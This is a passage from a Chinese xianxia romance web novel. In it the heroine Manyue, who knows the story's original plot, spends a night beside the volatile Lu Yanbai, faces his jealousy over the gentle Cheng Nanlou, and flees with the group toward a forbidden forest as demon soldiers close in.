陆宴白也不知道自己为什么这么做。他只是看着她像躲避蛇蝎一样竭力远离自己,那股压抑下去的烦躁与不爽再度翻涌上来,想这么做,便这么做了。他素来是个随心所欲到极致的人,先前默许她划清界限已是极大的让步,这个小骗子不仅不领情,反而得寸进尺,越来越过分。 陆宴白要笑不笑,用口型回她两个字:睡觉。 睡觉就睡觉,抱着她干嘛? 满月不能理解他的脑回路,但空间实在太过有限,为了不吵醒玄妙他们,根本不容她有太多挣扎的余地。 满月实在憋屈,气得都想咬他的手了。 陆宴白见她一副随时要挣脱他逃之夭夭的模样,挑了挑眉。他的视线下移,在她的唇瓣上稍稍停留了下,而后重新抬起眼,似笑非笑看着她。 满月简直想流泪了。 她恨自己为什么能够瞬间读懂他的威胁。 这就是狗腿子做多了的下场吗?她如今已经是揣摩圣意的一把好手。 他的意思再明白不过,要不然亲她,要不然乖乖睡觉。 满月还是不认为他这话有什么暧昧深意,他只是纯喜欢折磨她罢了。 满月深吸一口气。她相信陆宴白真的能做得出这种事,相比于亲吻,还是睡觉更能接受一点,反正只是抱着睡,又不会掉一块肉。 满月飞快地做完心理建设,忍下了一肚子不能骂出口的污言秽语,在心里默念:他不是正常人,他不是正常人,他不是正常人…… 这么想着,她的身体竟然真的渐渐放松了下来,不再那么僵硬。 此时已至后半夜,万籁俱寂。紧绷了一天的神经一旦松懈,强烈的疲惫感便如潮水般涌来。 陆宴白感觉到怀中的人软了下来,呼吸也变得平稳。 这么快就睡着了? 陆宴白垂下长睫,细细瞧着怀中的人,借着些微月光,连少女脸上细小的绒毛都看得一清二楚。 她的睫毛很长,像两把小扇子,大约是因为睡得不安稳,微微颤动着,宛如蝴蝶的翅膀,在她的眼下投出一片阴影。 心头那股非要跟她较劲的无名火,竟立时消散得干干净净。 他很久没有这样幼稚过了,或者应该说,从来没有过。 赌气这种事,很难想象有一天会发生在他的身上。 这么一想,他心中陡然升起些恶念,想要掐着她的脸将她弄醒。 然而他刚抬起手,指尖尚未触及她的脸,怀中的少女忽然动了下,可能是因为有些冷,虽然他常年体寒,也算不上暖和,却是离她最近的热源,她还是无意识往他的怀中靠了靠。 柔软的触感就这样猝不及防撞了满怀。 陆宴白顿住,悬在半空的手指几不可察地蜷缩了一下。 这个动作毫无预兆地打破了那微妙的距离,两人变得亲密无间。 鼻息满是少女清甜的香气,与他周身的冷冽交织缠绕。 身体的反应几乎是下意识生起的,这又是一个从未有过的失控体验。 陆宴白蹙了下眉,对这样的感觉不能说喜欢,他极为难得有点后悔了,想把怀里的人弄出去,可是想了许久都没动手。 更要命的是怀里的少女不知梦到了什么,竟然在这时蹭了蹭他的胸口。 骤然生起的古怪感受瞬间点燃了他有段时间未再出现的杀意。 他当然知道这是什么反应,寻常的男子都会有,只是他没想到会出现在自己身上。这是绝对不应该的。他随心所欲的另一面,其实是对自己极致的掌控。虽然面对满月这种控制已经失效了很多次,但也不应该到这种地步。 他的眼眸骤然晦暗,看着满月的眼神很是复杂,修长的手指轻轻搭在了她纤长的脖颈上。 他指尖的凉意冷得满月哆嗦了一下,没了清醒时对危险的感知力,反倒让她更往他怀里缩了缩。 这模样有点像没有断奶的动物幼崽,毫无戒备,与她白日里对他总是戒心满满的样子截然不同,顺眼多了。 陆宴白在没有断奶的小猫身上见到过这种动作。 小白雀也有这样的习性? 陆宴白心情变得微妙起来,杀意反而削减了不少。 她该不会在梦里将他当成她阿娘了吧。 这个猜测比他的反应更让他难以接受 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满月仔细打量了他,见他脸色确实好了许多,才堪堪放下心来。 自从在梦境中见过程衣后,她对程南楼就多了一种说不清道不明的感情。以前她对程南楼更多的是出于对原著主角的欣赏,但现在,也许是一种移情,让她对程衣的好感不自觉的转移到了程南楼身上。 毕竟他与他的阿娘长得是如此的相像。性格上倒是有点不同,程衣更为爽朗洒脱,程南楼则内敛得多,但是那份源自本心的善良却是如出一辙。 正是这份善良深深吸引着满月。在这个操蛋的世界她每天见到的遇到的,净是一些让人糟心的事情,也只有在程衣那里,她才感受到了久违与前世相像的安心。 如果她能跟他走就好了。 这样的想法无关于男女感情,更像是一个陷入未知迷途的人对于精神向导的渴望。 她从在三危山起就一直任人摆布,宛如浮萍一样漂泊不定,善与恶都离她很远,活着都是她不敢肖想的目标。 正因为如此,她才更加喜欢原著中的程南楼。不过现在的程南楼还不能与原著中的他完全画等号。没有徒步穿越过黑暗的经历,他的心性尚且没有后来那么强大。 “你看起来好了很多。”满月道。 程南楼点点头看着她,他看人的时候很认真:“谢谢你,满月。” 满月没留意到他称呼的改变,还以为他说的是纸鹤的事情,她笑起来,露出尖尖的小虎牙:“你已经谢过我了啊。” “不,这一次道谢是因为你照顾了我。”他道。 早在那天晚上,其实昏昏沉沉中他曾醒来过一次,正好撞见满月给他换药,她的动作十分温柔,生怕弄疼他似的,小心翼翼,耐心又细致。 他仍旧记得那时模糊视线里她专注的侧影,换药时她指尖偶尔划过皮肤时的轻微触感,以及他内心深处泛起的陌生波澜。 程南楼自幼便是个很让人省心的孩子。从小到大,他很少有麻烦别人的时候,更多是旁人遇到难处来寻他相助。他也极少被人这样细致入微地照料过,更何况对方还是一个姑娘。他向来缺乏与异性打交道的经验。在玄都观,行藏道人这一脉弟子本就稀少,女弟子更是仅有陈仓一人,陈仓习得一手好医术,更多讲究的是效率,下手快准狠,和满月是完全不一样的风格。 程南楼并无意将两人比较,只是他确实在满月身上感受到一种很熟悉的温暖,那是他曾经拥有过,却在一夜之间永远失去了的东西。 满月没想到他道谢是因为这个,不由得愣了愣,随即有些不好意思地摆摆手:“我也没做什么。” 实在是受之有愧。 “你呢?”程南楼看着她,问得很是认真,“这段时间有没有受伤?” 满月知道小圣父这么问,定然是因为他很自责在密云城弄丢了她。他就是这样一个会毫无差别地将身边所有人的安危都揽在自己身上的人。 满月摇摇头:“我没事。我刚来这里就遇见了陆……陆公子。” 对陆宴白的称呼到了嘴边,却换成了一个相对生疏客气的“陆公子”。 不知为何,经过昨天晚上那些莫名其妙的事情后,她并不想在程南楼他们面前表现得与陆宴白过分熟稔,尽管这段时间里,他们两人的关系确实在被迫的相依为命中变得复杂难言。 程南楼闻言,轻轻点了下头,微微笑道:“那就好。” 满月很喜欢跟程南楼待在一起的感觉。程南楼的性格好,处事又极有分寸,和他相处,即便什么都不说,也不会觉得尴尬。 “对了,陈仓他们呢?”满月看了看四周问道。 “陈仓带着玄妙去找这附近有什么能吃的东西,清虚子前辈说坐得乏了,想去散散步。宴白师兄……” 他话音未落,身后的灌木丛忽然传来一阵窸窣声响。 程南楼和满月几乎同时转过头,望向那处晃动的树丛。 只见一道黑影被毫不留情地从灌木后丢了出来,扑通一声摔在地上。 是一个已经昏厥过去,失去了意识的小妖。 陆宴白紧随其后走了出来,他眉眼弯弯,唇角噙着一抹异常温柔的笑,目光轻飘飘地落在他们两个人身上,那笑容明明如春风拂面,却无端地让人感到一股寒意自脊背窜起。 75. 073 满月立时警铃大作。 他笑得越温柔,往往意味着有人要倒大霉了。 满月下意识地往程南楼身后躲了躲,试图借由他阻挡那道看似含笑,实则令人头皮发麻的视线。 陆宴白却没再看她,目光反而轻飘飘地先落在了她身前的程南楼身上。他略一挑眉,语气听不出什么情绪:“你恢复得倒是不错。” 程南楼的注意力全放在地上:“他是?” “给妖兵探路的斥候。”陆宴白瞥了眼昏死过去的小妖,“他既然能找到这里来,那些妖兵应该也差不多该到了。” 陆宴白今天一大早就出去了,他去城中打探了下情况,顺便补给了点东西,一回来就看到这小妖探头探脑地鬼鬼祟祟,他正欲随手处理掉,却恰好听见了她那一声清晰又客气的“陆公子”。 这明明是个再正常不过的称呼,可不知为何,在陆宴白听来却尤为刺耳,让他心头无端升起一股烦躁。 这也太快了。 看着地上毫无声息的小妖,满月和程南楼心中同时升起这个念头。 他们原以为至少能拖上一日,运气好甚至能有三天时间让程南楼恢复,万万没想到,还不到半日工夫,藏身之处就已暴露。 “这里是不是不再安全了?”满月蹙眉,“我们要立刻转移吗?往外城去?” 陆宴笑了一声,语气带着毫不掩饰的嘲讽:“外城?外城的妖对除妖师恨之入骨,到了那里,你们能藏到什么地方?自投罗网吗?” 不知是不是错觉,满月感觉陆宴白似乎又变回了昨夜之前阴晴不定的状态。昨天晚上发生的一切,仿佛都只是月光下的一场幻梦,她就知道,他果然还是那个难以捉摸又随心所欲的大魔王。可她没想通自己到底又在哪里不小心惹到他了。 满月觉得自己仿佛在两头煎熬。一头是那些令人心跳失控的暧昧举动,一头是莫名其妙地冷嘲热讽。她既不希望他对她太好,又不希望他对她太不好。他就不能正常一点吗? 满月眨眨眼,不说话了。 “去禁林。”陆宴白道。 “可是禁林……”满月下意识地提出异议,可想到陆宴白对她不友好的态度,又停住了。 这一次陆宴白倒是没有讥讽她,只淡道:“外面全是来搜捕的妖兵,出不去的。而且离开十方城的入口都靠近禁林。” 陆宴白一向是懒得解释的人,但对着满月,他却总能平白无故多出几分耐心。 满月领会了他的意思,最危险的地方,有时反而最安全,更何况他们不能离入口太远。 她点点头:“那我去叫陈仓他们回来。” 她说完刚要转身,后衣领便被人一把拎住,像提小猫一样轻松地给提了回来。 “别乱跑,”陆宴白的声音在她头顶响起,“这林子里说不定早已混进了他们的人。” “我去找吧。”程南楼自然而然接过话茬。他深知因为自己受伤已然拖累了很多进程,想要弥补。 他既然如此主动,陆宴白就从善如流地将这个任务推给了他,完全没有体谅病号的心思:“好,那我们等在这里。如果有意外,我会用传音符指引方向。” 等等,程南楼去找人的话,岂不是又要留下她一个人与陆宴白独处? 满月立刻意识到这个重大的问题。 她想和程南楼一起去,这话不能直说,免得陆宴白又犯病。 求助的视线暗戳戳投向程南楼,她多希望他能领会自己的意思,主动提出带她一起走。 然而陆宴白却似是先察觉到她的心意,眉眼弯弯地看向她,语气凉凉的:“别想了,你跟我留在这里。” 程南楼虽然理解了满月的意思,但他并不知晓这两人之间微妙而紧张的氛围究竟为何,只以为她是担心陈仓他们的安危,略一思量还是觉得满月留在师兄身边更安全,温声道:“放心,我们很快就会回来。” 满月就这样眼睁睁看着程南楼的身影消失在了密林之中,心头那点微弱的希望也随之彻底熄灭。 她有点发怵,实在是不想和这样捉摸不定的陆宴白相处。 陆宴白伸出手,冰凉的指尖轻轻捏住她的下巴,将她的脸强行转了回来,迫使她只能看向自己。 他唇角弯着完美的弧度,眼底却无半分笑意,声音又轻又凉:“他很好看吗?” 满月瞬间察觉到他话里暗藏的危险,求生的意志大过一切,她立即找回当初在三危山与他周旋的感觉,弯起眼睛,扯出一个无比乖巧的笑容:“没你好看。” 救命,她也不想这么狗腿,可是……算了,还是活着最重要。 陆宴白却没有因为她的服软而就这样放过她,他垂眸瞧着她,笑得很是和善:“陆公子?” 满月心脏骤停。她第一反应是陆宴白听到了刚刚她与程南楼的对话。第二反应是,她应该没有说什么不该说的话吧。 脑子飞速地过了一遍刚才的场景,她确定自己除了那个称呼,根本没提到任何关于他的事。 “……怎么了?”满月望着他,是真的很疑惑不解,其中还夹杂着些许忐忑。 她丝毫没觉得这个称呼有什么不妥。 陆宴白扯了扯嘴角,要笑不笑:“这么想和我划清关系?” 他这话说的,他们难道有什么特别的关系吗? 满月心下腹诽,面上却装得一脸懵懂:“这,这不是很寻常的称呼吗?我也是这样称呼程公子的呀。” 他确实是这样称呼程南楼的,所以陆宴白一直以为相比于程南楼,她与他更为熟悉一些。可现在他发现并非如此。 她与程南楼的相处,显然更轻松自在。从最开始就是这样,只不过那个时候他还没有在意。而今却像一根细刺,悄无声息地扎进了心里。 “你喜欢他?”他扬了下眉,突兀地问道。 满月:??? 这个问题他同样也是第二次问她,心态却大不相同。 陆宴白看着她,眼里没有任何笑意。 意识到陆宴白似乎是认真的,这反而让满月心头一沉。 她假装没有察觉这话中的暗流涌动,眨了眨眼,努力表现得自然一些:“我对程公子的感情,和对大家是一样的。有什么问题吗?”这话她说的半真半假,对程南楼的欣赏和安心感确实与对旁人不同,不过绝谈不上喜欢。 陆宴白没说话,只静静瞧着她,满月觉得一股无形的压力横亘在他们中间,几乎让她喘不过气。 就在这时,陆宴白忽然抬眸瞥了眼她身侧的密林深处,似乎听到了什么极细微的动静。 这动静打断了他们的对峙。 陆宴白松开掐着她下巴的手。< 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但陆宴白并没有直接解答她的疑惑,只是道:“一会儿你就知道了。” 怎么还当谜语人。 满月鼓鼓腮帮子,也不说话了,安静地跟在他身后。 他们一路沉默着穿过林子,来到了一个土丘面前,等越过土丘,再走不远就到禁林。 上一次他们就是从这里逃出生天的。 土丘与禁林交界的这片模糊地带,便隐藏着离开十方城的出口之一。 出口早已关闭,因而没有太多妖兵在此处看守。毕竟在十方城的妖看来,没有什么东西能比堕仙的禁制更为强大,而且此地靠近禁林,寻常妖兵根本不敢轻易靠近。 早在从草庐离开时,陆宴白便已用传音符告知了程南楼新的汇合点,并特意叮嘱他们务必绕开草庐,以免与后续追来的妖兵撞个正着。 按理说陈仓他们并未走太远,收到消息后应该很快就能赶到,可等了好一会儿还是没有任何动静。 满月焦急朝着身后寂静得过分的林子张望了下,仍然未见任何熟悉的身影出现,只有风吹过树梢的沙沙声,显得格外诡谲。 正在她心神不宁之际,脚下地面忽然传来一阵极其轻微的震动,仿佛有什么沉重的东西在极深的地下陷落,但这种感觉转瞬即逝,快得让人以为是错觉。 满月立即回头看向陆宴白:“你感觉到什么了吗?” 陆宴白略一颔首,往身后禁林的方向瞧了眼,没有说话。 陆宴白难得这么安静,从草庐离开到现在,他都没怎么讲过话。满月一开始还暗自庆幸,可时间一长,一种莫名的不安却悄然爬上心头。 她隐约感觉到事态的发展正一步步脱离原本的轨道,她与陆宴白的关系正处于一种说不清的状态,可冥冥之中有什么东西阻止着她让她不愿意往深处探究。这或许是多年的求生本能在警告她,往前是深渊,不可为了窥探真相轻易跨越,走错一步就无法回头。 满月深吸一口气,正犹豫着要不要讲点什么来打破这令人窒息的沉默和尴尬,陆宴白却倏然蹙了下眉头。 他攥住她的手腕往自己的方向一带。 几乎在同一时间,她将才站着的地方,数道尖锐木刺带着森然杀意破土而出。